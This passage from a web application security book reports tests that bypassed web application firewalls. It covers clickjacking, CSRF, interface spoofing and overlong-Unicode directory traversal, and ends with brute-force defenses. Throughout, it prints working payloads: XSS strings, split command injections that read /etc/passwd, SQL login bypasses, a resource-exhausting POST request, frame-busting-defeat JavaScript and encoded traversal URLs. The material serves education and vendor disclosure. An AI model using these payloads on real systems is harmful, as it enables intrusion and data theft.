surely lowers the impact of an attack as several configuration files cannot be easily read, but

does not protect other system resources in other directories that can also be used to gather

information or sensitive data.

Another example for incompletely implemented regular expressions for filtering is the easy

bypass of the cross-site scripting filter mechanism of Hyperguard. In the following listing only

the first line is blocked. All other requests are not blocked by the web application firewall and

therefore enable an attacker to include arbitrary script code:

< script > alert (1) </ script >

< script + abc > alert (1) </ script + abc >

< script > alert (1) </ script >

< SCRIPT > alert ( String . fromCharCode (88 ,83 ,83) ) </ SCRIPT >

The following example regarding the BIG-IP web application firewall shows clearly that a

blacklist-based approach in some cases cannot effectively protect a web application

infrastructure. An attack may be slowed down or less experienced attackers using standard

exploit mechanisms may be kept off, but the defense is nevertheless insufficient. The following

demonstration is related to test case 601 (command execution), where an attacker is able to

inject arbitrary commands that are executed with the privileges of the web server. The affected

script enables users to ping hosts by entering an IP address. The given IP address is then passed

to the command line tool ping and the results are echoed back to the user. A normal invocation

of the according PHP script looks like follows:

46Figure 2: Command execution via environment variables obfuscation.

1 cmd_exec . php ? ip =4.2.2.1

If an attacker tries to append additional commands to the parameter, the web application

firewall blocks the request. The following request is for example blocked because the whoami

command matches one of the built-in blacklist filters:

1 cmd_exec . php ? ip =4.2.2.1; whoami

In order to circumvent the filter it is possible to make use of the fact that the Apache web server

by default runs with the privileges of an ordinary user (www-data) which has access to technical

resources and capabilities like other users or processes. That means that the web server process

also has access to environment variables that can be read an written.

An attacker can use this fact to write the command to be executed in parts to environment

variables and execute them afterwards. The following listing shows how the command whoami

is split into two parts, written to environment variables and used for command execution:

Page 105: Advanced web application hacking and exploitation

104 | P a g e

1 4.2.2.1; a= who ; b= ami ; $a$b

As the request does not match any blacklist filters, it is passed to the web server, where the

command is executed (see figure 2).

The same methodology (using environment variables) can be used to bypass the afore

mentioned restricted access to the /etc directory of the Hyperguard web application firewall.

Whereas the first access attempt in the following listing is denied, the second one leads to

success and reveals the contents of the systems password file:

1 4.2.2.1; cat / etc / passwd

2 4.2.2.1; a= etc ; cat /$a / passwd

Test case 702 (

mysqlinjection get\) o

ers a login form which is vulnerable to SQL injection attacks. To bypass the login an attacker

needs to inject SQL syntax in order to instruct the database to return a valid user even if the

passwords to not match. The Hyperguard web application firewall blocks according requests

where injected SQL syntax is recognized. The filter can however be bypassed by entering

comment characters that are not interpreted by the database but circumvent the blacklist filter.

In the following listing the first request is blocked by the web application firewall, but the

second one is forwarded to the web server enabling an attacker to log in as userA without

knowledge of the according password:

471 userA ' or 1=1/*

2 userA '/**/ or 1=1/*

Another problem as far as this test case is concerned occurs in connection with the Mod-

Security web application firewall where the default ruleset can also be bypassed. The attack

makes use of a syntax issue in connection with the MySQL database. Whereas other databases

require explicit comparisons (e.g. or 1=1) to construct a true statement, MySQL also accepts the

following statements as true:

1 or 1

2 or TRUE

3 or version ()

4 or sin (1)

Page 106: Advanced web application hacking and exploitation

105 | P a g e

5 ...

Whereas the first request in the following listing is blocked (ModSecurity detects the SQL Syntax

because of the single quote in connection with the equality sign), the other requests are passed

on to the web server and are successfully processed by the database. The blacklist filter is

bypassed because of the missing comparison.

1 userA ' or 1=1#

2 userA ' or 1#

3 userA '+ ' '/*

The blacklist filter of phion airlock works according to a multiple keyword matching approach. If

a request contains a single quote or an equality sign, the request is not blocked. The request is

only dropped if it contains both signs at the same time. The same holds true for requests

containing SQL comment signs (--, #, /*).

Beside the possibilities to bypass filtering rules that try to mitigate critical vulnerabilities like

cross-site scripting, command execution and SQL injection, there are also certain areas where

the filtering rules of the tested web application firewalls seem to operate in a reasonable way.

The following areas tended to be hard to circumvent:

• Remote and local file inclusion (possibilities to rewrite requests that still have the same

meaning are limited in this area)

• Cookie-related vulnerabilities (current web application firewalls replace all cookie contents by

a single and randomly chosen cookie)

Whereas some of the blocked vulnerabilities also could not be exploited by rewriting the original

requests of the perl script, it could be shown that the blacklist-approach adopted by web

application firewalls lacks of full coverage of all possible attack vectors. Because of the huge

amount of different encodings, notations and possible syntaxes it is hard to cover all possible

attacks. An additional problem the developers of such blacklists face is that with risen coverage

of attack vectors also the number of false positives rises. While a general blocking of all special

characters (as these are used for command separation or syntax designation in programming

languages) would prevent many vulnerabilities from being exploitable, but this would also

render many web applications useless because of the high number of false positives.

The conclusion of the circumvention attempts carried out by the project team can be

summarized as follows: With a purely blacklist-based approach (as many web application

firewalls work today) there is always a balance between the non-effectiveness of the filter

Page 107: Advanced web application hacking and exploitation

106 | P a g e

Mechanisms and the number of false positives (and therefore falsely blocked user requests) the

operators of a web application infrastructure have to face. Even if a first attempt to exploit is

blocked, a 100% coverage of all encoded attacks cannot be achieved.

The following descriptions of HTTP requests have been modeled and were used for the testing

efforts:

• HTTP Basic Authentication

• HTTP GET

• HTTP HEAD

• HTTP POST (formdata)

• HTTP POST (urlencoded)

• HTTP SOAP

All descriptions have been used to send data to the web server using the web application

Firewalls as reverse proxies. Therefore the web application Firewalls had to process the

malformed requests.

Results All web application Firewalls have been tested using all developed descriptions during a

period of three weeks. In connection with phion airlock, Breach Security ModSecurity and F5

Networks BIG-IP ASM no implementation flaws in the parsing routines could be detected.

As far as Artofdefence Hyperguard is concerned, a denial of service vulnerability could be found.

The vulnerability was triggered by the test cases 3465 to 3470 of the description for HTTP POST

(formdata). The test cases do not lead to an immediate crash of the system but rather in a high

system load as far as CPU and memory usage are concerned resulting in repeatedly unanswered

requests in the range of the aforementioned test cases. To demonstrate the causes of the

vulnerability, the HTTP request generate by test case 3465 is shown in the following listing:

POST directory / anysite . jsp HTTP /1.1

Host : webapphost . com

User - Agent : Mozilla /5.0 ( Windows ;en - GB ; rv :1.8.0.11) Gecko /20070312 Firefox.../1.5.0.11

Accept : text / xml , text / html ;q =0.9 , text / plain ;q =0.8 , image / png ,*/*; q =0.5

Accept - Language : en -gb , en ;q =0.5

Accept - Encoding : gzip , deflate

Accept - Charset : ISO -8859 -1 , utf -8; q =0.7 ,*; q =0.7

Keep - Alive : 300

Connection : keep – alive

Content - Type : multipart / form - data ; boundary

...= - - - - - - - - - - - - - - - - - - - - - - - - - - -103832778631715

5511 Content - Length : 134217718

Page 108: Advanced web application hacking and exploitation

107 | P a g e

- - - - - - - - - - - - - - - - - - - - - - - - - - -103832778631715

Content - Disposition : form - data ; name =" name "

MyName

- - - - - - - - - - - - - - - - - - - - - - - - - - -103832778631715

Content - Disposition : form - data ; name =" param2 "

value2

- - - - - - - - - - - - - - - - - - - - - - - - - - -103832778631715 - -

As can be seen, the POST request sends form contents using a valid multipart/form-data

encoding. The abnormality in the shown request can be found in the Content-Length header

which is set to an unreasonably high value not representing the length of the data actually sent.

As far as could be found out without access to the source code of the implementation, the

length value is used to allocate memory on the system. Simultaneously the requests lead to a

high CPU load if sent repeatedly. It could be found out that child processes serving the requests

(and allocating the high amount of memory) are not immediately killed after the (per se too

short) request was finished but persist for several seconds.

By choosing a high Content-Length number and send repeated requests an attacker is therefore

able to consume significant system resources. A denial of service cannot be achieved with a

single request (as long as the attacked system has enough RAM) because Artofdefence

Hyperguard works as a module for the Apache web server which discards requests with a too

high length (depending on the configuration). The vulnerability can be used to provoke a kernel

panic as the values for free RAM and free SWAP space steadily decrease to zero. Afterwards the

system has to be rebooted in order to be functional again.

The vulnerability was reported to the vendor on the 22nd of May 2009 using the bug tracking

system. An updated version of the product is now available.

Page 109: Advanced web application hacking and exploitation

108 | P a g e

Figure 4: Successful cross-site scripting attack in Hyperguard management interface.

4.6 Conduction of penetration tests

The following chapter covers the results of penetration tests that have been conducted on the

web application firewall administration interfaces. Please note that the tests were only of

limited scope as they were not the main objective of the project. The tests here only cover the

administrative functions of the products that normally are only available to administrators

(management interfaces).

While testing the administrative interfaces it could be found out that they are not covered by

the same ruleset that is applied to the web applications to be protected. In general that enables

to exploit found vulnerabilities more easily than with an additional protective ruleset.

The following URL demonstrates a cross-site scripting in the management interface of the tested

version of Hyperguard (already fixed in the current release):

https://10.25.99.12:8082/adminserver/python/gwtguiserver.py/getDebug?sessioni...%3

Chtml%3E%3Cbody%20onload%3dalert('xss')%3Ed=1

Figure 4 shows the vulnerability that can for example be used to steal cookies or to phish login

data with the help of an unaware user. The vulnerability only affects users of Microsoft’s

Internet Explorer 7 because the browser parses documents where a closing html- and body-tag

is missing. Other browsers do not parse such documents. If the closing tags are included, the

web application firewall masks the brackets and therefore stops the attack. However, there is a

second cross-site scripting vulnerability in the Hyperguard management interface that is

interpreted by all browsers. The vulnerability is triggered when a new user is added by an

administrator. If the username contains script code, the value is printed to the user list without

filtering. The impact of the vulnerability is considered low because it can only be exploited by a

Page 110: Advanced web application hacking and exploitation

109 | P a g e

user that already has administrative privileges. Nevertheless it enables an attacker to steal

accounts of other administrative users with possibly higher privileges (e.g. by stealing the

cookies using the cross-site scripting vulnerability).

The vulnerabilities have been reported to the vendor of Hyperguard and are already fixed in the

current release.

The management interface of the F5 Networks BIG-IP web application firewall is also prone to a

cross-site scripting vulnerability. The affected function is used to display error messages in case

a request to the administration interface cannot be served successfully.

Figure 5: Successful cross-site scripting attack in BIG-IP management interface.

Error message displayed to the user is not escaped properly, enabling an attacker to insert

arbitrary script code. The vulnerability can be demonstrated by accessing the following URL:

https://192.168.11.13/dms/login.php?msg_id=<script>alert(1)</script>

Figure 5 shows that script code is executed in the context of the browser session enabling an

attacker to steal cookies, etc. At the time of finding the vulnerability was already known by the

vendor and fixed in an updated release.

The web interface of phion airlock is protected by a login that requires a valid username and the

according password. All users of the web interface are also system users and are able to log in

via SSH for example. The fact that users are stored as system users and given the standard

Solaris operation system settings leads to the situation that all passwords are truncated at 8

characters without a specific warning. This enables an attacker to conduct brute force attempts

more easily even though success is still unlikely if a good password is chosen.

Page 111: Advanced web application hacking and exploitation

110 | P a g e

phion airlock (version 4.1-10.41) is also vulnerable to a remote denial of service attack on the

management network interface. This vulnerability affects all protected web servers and

applications, because after exploitation the web application firewall cannot handle any further

requests and must be restarted manually. In order to conduct the denial of service there is no

authentication needed, so the attack can be started by an internal attacker with access to the

management network interface or via cross-site request forgery with a single HTTP GET request.

The vendor describes the vulnerability as follows:

"The airlock Configuration Center shows many system monitoring charts to check the system

status and history. These images are generated on the fly by a CGI script, and the image size is

part of the URL parameter. Unreasonably large values for the width and height parameters will

cause excessive resource consumption.

Depending on the actual load and the memory available, the system will be out-of-service for

some minutes or crash completely, making a reboot necessary.

After the initial reporting, further research showed that the vulnerability can also be used to

execute arbitrary system commands. This allows attackers to run operating system commands

under the user of the web server (uid=12359(wwwca) gid=54329(wwwca)). The vulnerability

was reported on April 29th, 2009. According exploits will not be published.

Both security flaws were addressed by a hotfix and were patched with airlock HF4112. The

vulnerabilities are also fixed now within airlock release 4.1-11.18.

Conclusion

The general impression of web application firewall technology gained during this project is that

web application firewalls can indeed raise the security level of certain vulnerable applications.

Nevertheless it must be clearly stated that the additional layer of defense is partly porous and

does not replace the secure development and operation of web applications. It also must not be

overseen that a web application firewall is an additional device that is placed between the client

and the web server and is therefore an additional device that can have influence on the

availability of the overall system. It is also an additional system that can have vulnerabilities or

other forms of implementation flaws and requires regular maintenance.

Additionally it has been shown that web application firewalls can also be the target of successful

attacks (cross-site scripting flaws, cross-site request forgery, denial of service, command

execution, etc.).

When defining rules for a specific web application or modifying the standard ruleset it is very

important to test the whole web application and all provided functions for their correct

functionality. This can for example be done using automated testing frameworks. In the course

Page 112: Advanced web application hacking and exploitation

111 | P a g e

of the project often certain functionalities of the web applications used for testing have been

rendered unfunctional because of predefined rules of the web application firewalls.

As unexpected side effects like this can occur with every change of the rules or the web

application itself, comprehensive testing is necessary.

The use of web application firewalls can generally be recommended for virtual patching

purposes. That means that between the emerging of a new and previously unknown

vulnerability and the deployment of the new and tested release possible attacks to the

vulnerable application can be blocked by the web application firewall. That also gives developers

and testers more time to develop a source code patch while the vulnerability is virtually patched

in the meantime. Additionally, web application firewalls can also provide a baseline protection

Certain vulnerabilities of the application are protected, even if they are not yet. An organization

using web application firewalls must however be aware that these products cannot cover all

vulnerability classes at the same level. The vulnerable test applications developed in the course

of this project have been used to determine which classes are covered to which degree.

Whereas vulnerability classes like browser-based attacks, interpreter injection and inclusion of

external content have been covered in 60-70% of all cases, other classes like information

disclosure or brute force are hardly handled. Whether the reached percentage provides enough

protection for a certain application must be decided individually for each case. Generally

speaking, the protection level for the three vulnerability classes mentioned above was higher

than expected. It is nevertheless advisable to invest in the secure development of web

applications and not just in web application firewalls as certain vulnerability classes can hardly

be covered or requires that vulnerabilities of the application to be protected are already known.

CSRF/XSRF – Cross Site Request Forgery

GET Based CSRF

For example, a GET based, CSRF vulnerable, “AddUser” function on Mcafee’s website. The

function can be called by a URL/GET request and is fully automated. Meaning, any logged-in

user loading this URL, automatically and unknowingly adds a new user to his account.

These are the existing Mcafee accounts:

Page 113: Advanced web application hacking and exploitation

112 | P a g e

Making the malicious CSRF request

Page 114: Advanced web application hacking and exploitation

113 | P a g e

And there is the new user:

Post Based CSRF

A good example for a POST based CSRF was published against the ESPN website.

ESPN HTML injection via CSRF:

Page 115: Advanced web application hacking and exploitation

114 | P a g e

Advanced CSRF Attacks with AJAX

• Bruteforcing CSRF Tokens

• Combination with CAPTCHA Breakers

• PHP Anti-CSRF

• Anti-CSRF Module for DotNet

• Miscellaneous

Page 116: Advanced web application hacking and exploitation

115 | P a g e

Tab-Nabbing

ClickJacking

ClickJacking is possible because seemingly harmless features of HTML web pages can be

employed to perform unexpected actions.

A click jacked page tricks a user into performing undesired actions by clicking on a concealed

link. On a click jacked page, the attackers load another page over it in a transparent layer. The

users think that they are clicking visible buttons, while they are actually performing actions on

the hidden page. The hidden page may be an authentic page; therefore the attackers can trick

users into performing actions which the users never intended. There is no way of tracing such

actions to the attackers later, as the users would have been genuinely authenticated on the

hidden page.

A user might receive an email with a link to a video about a news item, but another valid page,

say a product page on amazon.com, can be "hidden" on top or underneath the "PLAY" button of

the news video. The user tries to "play" the video but actually "buys" the product from Amazon.

Other known exploits include:

tricking users into enabling their webcam and microphone through Flash (which has since

been corrected by Adobe);

Page 117: Advanced web application hacking and exploitation

116 | P a g e

tricking users into making their social networking profile information public;

making users follow someone on Twitter;

share links on Facebook

Prevention

Client-side

Ghostery

Ghostery is a privacy browser extension available for the 5 primary browsers that enable its

users to easily detect and control tags, web bugs, pixels, and beacons that have the potential to

collect data on their browsing habits. This way it can prevent ClickJacking involving social

networks like Facebook or Twitter by blocking their scripts on others web pages.

NoScript

Protection against ClickJacking can be added to Mozilla Firefox desktop and mobile versions by

installing the NoScript add-on: its ClearClick feature, released on 8 October 2008, prevents users

from clicking on invisible or "redressed" page elements of embedded documents or

applets. According to Google's "Browser Security Handbook", NoScript's ClearClick is "the only

freely available product that offers a reasonable degree of protection" against ClickJacking.

GuardedID

GuardedID (a commercial product) includes client-side click jack protection for users of Internet

Explorer and Firefox without interfering with the operation of legitimate iFrames. GuardedID

click jack protection forces all frames to become visible.

Gazelle

Gazelle is a Microsoft Research project secure web browser based on IE that uses an OS-like

security model, and has its own limited defenses against ClickJacking. In Gazelle, a window of

different origin may only draw dynamic content over another window's screen space if the

content it draws is opaque.

Server-side

Framekiller

Web site owners can protect their users against UI redressing (frame based ClickJacking) on the

server side by including a framekiller JavaScript snippet in those pages they do not want to be

included inside frames from different sources.

A framekiller (or framebuster or framebreaker) is a piece of JavaScript code that doesn't allow

a Web page to be displayed within a frame. A frame is a subdivision of a Web browser window

and can act like a smaller window. This kind of script is often used to prevent a frame from an

external Web site being loaded from within a frameset without permission.

Page 118: Advanced web application hacking and exploitation

117 | P a g e

The typical source code for a framekiller script is:

<script type="text/javascript">

if(top != self) top.location.replace(location);

</script>

There are many variations of this script. This example is cross-browser compatible, avoids

deprecated objects, and uses replace which preserves the user's back-button. Comparing object

references, top, self and location directly is slightly more efficient, and succinct.

Framekiller Killers

The above framekiller can be prevented from working with the following JavaScript along with a

server which responds with a HTTP/1.1 204 No Content, as discovered in this blog. Just place

the following code in the top frame. It works because in most browsers a 204 HTTP response will

do nothing, meaning it will leave us on the current page. But the request attempt will override

the previous frame busting attempt, rendering it useless.

var prevent_bust = 0;

// Event handler to catch execution of the busting script.

window.onbeforeunload = function() { prevent_bust++ };

// Continuously monitor whether busting script has fired.

setInterval(function() {

if (prevent_bust > 0) { // Yes: it has fired.

prevent_bust -= 2; // Avoid further action.

// Get a 'No Content' status which keeps us on the same page.

window.top.location = 'http://server-which-responds-with-

204.example.com';

}

}, 1);

Alternative solution

An alternative choice is to allow the user to determine whether to let the framekiller work, as

discovered by the Framekiller Killer.

var framekiller = true;

Page 119: Advanced web application hacking and exploitation

118 | P a g e

window.onbeforeunload = function() {

if(framekiller) {

return "..."; // any message that helps user to make decision

}

};

and the code below should be added after the frame tag:

//"my_frame" should be changed according to the real id of the frame

in your page

document.getElementById("my_frame").onload = function() {

framekiller = false;

};

Limitations

This client-side JavaScript solution relies on the end-user's browser enforcing their own security.

This makes it a beneficial, but unreliable, means of disallowing your page to be embedded in

other pages. The following situations may render the script above useless:

The user agent does not support JavaScript.

The user agent supports JavaScript but the user has turned support off.

The user agent's JavaScript support is flawed or partially implemented.

The user agent's behavior is modified by a virus or plug-in (possibly without the user's

knowledge) in a way that undermines the framekiller script.

A new frame-busting technique proposed, is the following improved version:

<style> html{display : none ; } </style>

<script>

if( self == top ) {

document.documentElement.style.display = 'block' ;

} else {

top.location = self.location ;

}

Page 120: Advanced web application hacking and exploitation

119 | P a g e

</script>

Such JavaScript-based protection, unfortunately, is not always reliable. This is especially true on

Internet Explorer, where this kind of countermeasure can be circumvented "by design" by

including the targeted page inside an <IFRAME SECURITY=restricted> element.

Server-side needing client support

X-Frame-Options

On 26 January 2009 Microsoft released RC1 of Internet Explorer 8, which includes a new partial

ClickJacking prevention option. Web site developers will be able to add a tag in a page header to

help detect and prevent frame-based UI redressing. IE 8, according to Microsoft, “will detect

sites that insert the tag and give users a new error screen indicating that the content host has

chosen not to allow their content to be framed, while giving users the option to open the

content in a new window.”

Microsoft's suggested solution, which has since also been implemented in

Apple's Safari, Firefox, and Google's Chrome Web browsers, is to check for a new HTTP

header, X-Frame-Options. This header can have two values, deny and sameorigin, which will

block any framing or framing by external sites, respectively.

Interface Spoofing

As you may have seen in James O’Connor’s paper, Attack Surface Analysis of Blackberry Devices,

there is a bug/vulnerability in Blackberry devices that allows an attacker to spoof the interface

that shows a .jad file's signing properties. A .jad file is a Java package format that is frequently

used to distribute applications for mobile phones. This spoofing allows an attacker to make a

.jad application appear to be signed by a legitimate user or company. The attacker accomplishes

this by using a carefully constructed file with the appropriate amount of spaces within certain

strings.

Because the susceptibility to this class of attacks is not unique to the BlackBerry or to .jad files, I

thought it might make an interesting blog entry. I originally found something like this with .jad

files back in 2005 on the Windows Mobile platform with a commonly shipped third-party J2ME

implementation. Others have found similar issues in other applications; for example,

in Bluetooth implementations. Also, I recently found a similar issue in the file transfer

mechanism of an application.

The core problem stems from the fact that user interface designers and security people don't

typically sit next to each other. This results in instances where the user interface doesn't display

security information properly. While the crypto code may have been validated till the cows

Page 121: Advanced web application hacking and exploitation

120 | P a g e

come, home people rarely think of how the information is going to be displayed and thus its

attack surface. So when the application displays information to the user that is used in a security

decision, and this information can be spoofed, the security of system can be undermined or, in

the worst case scenario, compromised.

To demonstrate this vulnerability, and so I don’t have to pick apart one particular

implementation, I wrote a demo application in C#:

System.IO.StreamReader myFile = new System.IO.StreamReader("c:\\users\\ollie\\test.txt");

System.Security.Cryptography.MD5CryptoServiceProvider myMD5

= newSystem.Security.Cryptography.MD5CryptoServiceProvider();

string myString = myFile.ReadToEnd();

string myOutput;

byte[] myBytes = System.Text.Encoding.UTF8.GetBytes(myString);

myFile.Close();

myBytes = myMD5.ComputeHash(myBytes);

System.Text.StringBuilder myMD5String = new System.Text.StringBuilder();

foreach (byte myB in myBytes)

{

myMD5String.Append(myB.ToString("x2").ToLower());

}

myOutput = "File Contents:\n" + myString + "\n" + "MD5: " + myMD5String.ToString();

blExample.Text = myOutput;

If our text file contains "HelloBlogWorld," we get the following output in our example

application:

To illustrate this example further, for the next test our source data file will contain:

Page 122: Advanced web application hacking and exploitation

121 | P a g e

The result is that the application’s MD5 line is pushed down and our user-supplied string is

shown in its place. I deliberately allowed the original MD5 line to remain visible (which I’ve

highlighted with a red box):

If we add a little more padding and replace the original line with something that looks more in

line with what the user expected, we get our forgery:

In this example, apart from the obvious upgrade from MD5 to SHA1, you wouldn’t suspect that

the content wasn’t generated by the application.

The best way to protect against this issue is to clearly differentiate between data which is

sourced external to the application and that which is generated by the application. The easiest

way to do this is to use different fonts or even different font colors if appropriate. This should

then be backed up by good input validation—in the example of .jad files, I can’t think of a

situation where you would need trailing spaces in the different elements.

Page 123: Advanced web application hacking and exploitation

122 | P a g e

Another Example, JAD files in BlackBerry

JADs (Java Application Descriptors) are plain text files that describe the attributes of a java

application, such as its vendor, description, and size.

A .jad file also provides the URL where the application can be downloaded, and for this reason it

is used as a standard way to provide Over The Air (OTA) installation of java applications on J2ME

mobile devices.

When a BlackBerry user opens a .jad file, they are presented with the application details, and

can decide whether or not to download and install it. However, by using a specially crafted .jad

file, spoofed information can be introduced into the display to make the application appear

signed18

Note that the attacker does not have complete control of the display (for example there is a

duplicate "Vendor" entry which was necessary to align the text correctly)

This is the second in a series of guest posts from security researcher Nitesh Dhanjani. His first post was on Insecure Handling of URL Schemes in Apple's iOS. Nitesh will be giving a talk on "Hacking and Securing Next Generation iPhone and iPad Apps" at SANS AppSec 2011.

Popular web browsers today do not allow arbitrary websites to modify the text displayed in the address bar or to hide the address bar (some browsers may allow popups to hide the address bar but in such cases the URL is then displayed in the title of the window). The reasoning behind this behavior is quite simple: if browsers can be influenced by arbitrary web applications to hide the URL or to modify how it is displayed, then malicious web applications can spoof User Interface elements to display arbitrary URLs thus tricking the user to thinking he or she is browsing a trusted site.

Page 124: Advanced web application hacking and exploitation

123 | P a g e

I?d like to call your attention to the behavior of Safari on the iPhone via a proof of concept demo. If you have an iPhone, browse to the following demo and keep an eye out on the address bar:

http://www.dhanjani.com/iphone-safari-ui-spoofing/

And here are two images detailing the issue:

Figure 1: Image on left illustrates the page rendered which displays the ?fake? URL bar while the real URL bar is hidden above. Image on right illustrates the real URL bar that isvisible once the user scrolls up.

Page 125: Advanced web application hacking and exploitation

124 | P a g e

Notice that the address bar stays visible while the page renders, but immediately disappears as soon as it is rendered. Perhaps this may give the user some time to notice but it is not a reasonably reliable control (and I don?t think Apple intended it to be).

I did contact Apple about this issue and they let me know they are aware of the implications but do not know when and how they will address the issue.

I have two main thoughts on this behavior, outlined below:

1. Precious screen real estate on mobile devices

This is most likely the primary reason why the address bar disappears upon page load on the iPhone. Note that on the iPhone, this only happens for websites that follow directives in HTML to advertise themselves as mobile sites (see the source of the index.html in the demo site above for example).

Since the address bar in Safari occupies considerable real estate, perhaps Apple may consider displaying or scrolling the current domain name right below the universal status bar (i.e. below the carrier and time stamp). Positioning the currentdomain context in a location that is unalterable by the rendered web content can provide the users similar indication that browsers such as IE and Chrome provide by highlighting the current domain being rendered.

2. The consequences of full screen apps in iOS using UIWebView

Desktop operating systems most often launch the default web browser of choice when a http or https handler is invoked (this is most often the case even though the operating systems provide interface elements that can be used to render web content within the applications).

However, in the case of iOS, since most applications are full-screen, it is in the interest of the application designers to keep the users immersed within their application instead of yanking the user out into Safari to render web content.Given this situation, it becomes vital for iOS to provide consistency so the user can be ultimately assured what domain the web content is being rendered from.

In such cases, it is clear that developers of iOS applications need to make sure they display the ultimate domain from which the application renders web content. A welcome addition to this would be default behavior on part of UIWebView to display the current domain context in a designated and consistent location.

Given how rampant phishing and malware attempts are these days, I hope Apple chooses to not allow arbitrary web applications to scroll the real Safari address bar out of view. In the case of applications that utilize UIWebView, I recommend a designated screen location label only accessible by iOS that displays the domain from where the web content is being rendered when serving requests via calls to UIWebView. That said, I do realize how precious real estate is on mobile devices and if Apple choses to come up with a better way of addressing this issue, I'd welcome that as well.

Page 126: Advanced web application hacking and exploitation

125 | P a g e

Advanced Directory Traversal Attacks

Canonicalization

Just when you figured out and understood the most common attacks, canonicalization steps them all up a few gears!

Canonicalization deals with the way in which systems convert data from one form to another. Canonical means the simplest or most standard form of something. Canonicalization is the process of converting something from one representation to the simplest form. Web applications have to deal with lots of canonicalization issues from URL encoding to IP address translation. When security decisions are made based on canonical forms of data, it is therefore essential that the application is able to deal with canonicalization issues accurately.

Unicode

As an example, one may look at the Unicode character set. Unicode is the internal format of the Java language. Unicode Encoding is a method for storing characters with multiple bytes. Wherever input data is allowed, data can be entered using Unicode to disguise malicious code and permit a variety of attacks. RFC 2279 references many ways that text can be encoded.

Unicode was developed to allow a Universal Character Set (UCS) that encompasses most of the world's writing systems. Multi-octet characters, however, are not compatible with many current applications and protocols, and this has led to the development of a few UCS transformation formats (UTF) with varying characteristics. UTF-8 has the characteristic of preserving the full US-ASCII range. It is compatible with file systems, parsers and other software relying on US-ASCII values, but it is transparent to other values.

In a Unicode Encoding attack, there are several unique issues at work. The variety of issues increases the complexity. The first issue involves Character Mapping while the second issue involves Character Encoding. An additional issue is related to whether the application supports Character Mapping and how that application encodes and decodes that mapping.

UCS-4 Range UTF-8 encoding

0x00000000-0x0000007F 0xxxxxxx

0x00000080 - 0x000007FF 110xxxxx 10xxxxxx

0x00000800-0x0000FFFF 1110xxxx 10xxxxxx 10xxxxxx

0x00010000-0x001FFFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

Page 127: Advanced web application hacking and exploitation

126 | P a g e

UCS-4 Range UTF-8 encoding

0x00200000-0x03FFFFFF 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

0x04000000-0x7FFFFFFF 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

It is thus possible to form illegal UTF-8 encodings, in two senses:

A UTF-8 sequence for a given symbol may be longer than necessary for representing the symbol.

A UTF-8 sequence may contain octets that are in incorrect format (i.e. do not comply with the above 6 formats).

The importance of UTF-8 representation stems from the fact that web-servers/applications perform several steps on their input of this format. The order of the steps is sometimes critical to the security of the application. Basically, the steps are "URL decoding" potentially followed by "UTF-8 decoding", and intermingled with them are various security checks, which are also processing steps. If, for example, one of the security checks is searching for "..", and it is carried out before UTF-8 decoding takes place, it is possible to inject ".." in their overlong UTF-8 format. Even if the security checks recognize some of the non-canonical format for dots, it may still be that not all formats are known to it. Examples: Consider the ASCII character "." (dot). Its canonical representation is a dot (ASCII 2E). Yet if we think of it as a character in the second UTF-8 range (2 bytes), we get an overlong representation of it, as C0 AE. Likewise, there are more overlong representations: E0 80 AE, F0 80 80 AE, F8 80 80 80 AE and FC 80 80 80 80 AE.

Consider the representation C0 AE of a certain symbol (see [1]). Like UTF-8 encoding requires, the second octet has "10" as its two most significant bits. Now, it is possible to define 3 variants for it, by enumerating the rest possible 2 bit combinations ("00", "01" and "11"). Some UTF-8 decoders would treat these variants as identical to the original symbol (they simply use the least significant 6 bits, disregarding the most significant 2 bits). Thus, the 3 variants are C0 2E, C0 5E and C0 FE.

To further "complicate" things, each representation can be sent over HTTP in several ways: In the raw. That is, without URL encoding at all. This usually results in sending non ASCII octets in the path, query or body, which violates the HTTP standards. Nevertheless, most HTTP servers do get along just fine with non ASCII characters.

Valid URL encoding. Each non ASCII character (more precisely, all characters that require URL encoding - a superset of non ASCII characters) is URL-encoded. This results in sending, say, %C0%AE.

Invalid URL encoding. This is a variant of [2], wherein some hexadecimal digits are replaced with non-hexadecimal digits, yet the result is still interpreted as identical to the original, under some decoding algorithms. For example, %C0 is interpreted as character number ('C'-'A'+10)*16+('0'-

Page 128: Advanced web application hacking and exploitation

127 | P a g e

'0') = 192. Applying the same algorithm to %M0 yields ('M'-'A'+10)*16+('0'-'0') = 448, which, when forced into a single byte, yields (8 least significant bits) 192, just like the original. So, if the algorithm is willing to accept non hexadecimal digits (such as 'M'), then it is possible to have variants for %C0 such as %M0 and %BG.

It should be kept in mind that these techniques are not directly related to Unicode, and they can be used in non-Unicode attacks as well.

http://host/cgi-bin/bad.cgi?foo=../../bin/ls%20-al|

URL Encoding of the example attack:

http://host/cgi-bin/bad.cgi?foo=..%2F../bin/ls%20-al|

Unicode encoding of the example attack:

http://host/cgi-bin/bad.cgi?foo=..%c0%af../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%c1%pc../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%c0%9v../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%c0%qf../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%c1%8s../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%c1%1c../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%c1%af../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%e0%80%af../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%f0%80%80%af../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%f8%80%80%80%af../bin/ls%20-al| http://host/cgi-bin/bad.cgi?foo=..%fc%80%80%80%80%af../bin/ls%20-al|

Designing a Brute-Force Resistant Application

Almost any application can be designed to be brute force resistant. While it is important to

make it secure, it is also very important to keep the usability level confortable for the average

system user.

There several different ways and methods to approach the problem:

1. Using A Human-Machine Differentiator – for example picture or sound CAPTCHA

2. Using A Human-Machine Pro-Active Differentiator – for example a Drag’n’Drop based

CAPTCHA.

a. Drag’n’Drop is an action which is extremely hard to simulate, therefor making it

very effective against attacks

3. Counting and limiting the amount of requests made per client, where a client is

identified by:

Page 129: Advanced web application hacking and exploitation

128 | P a g e

a. Session

b. IP

c. Cookie/EverCookie

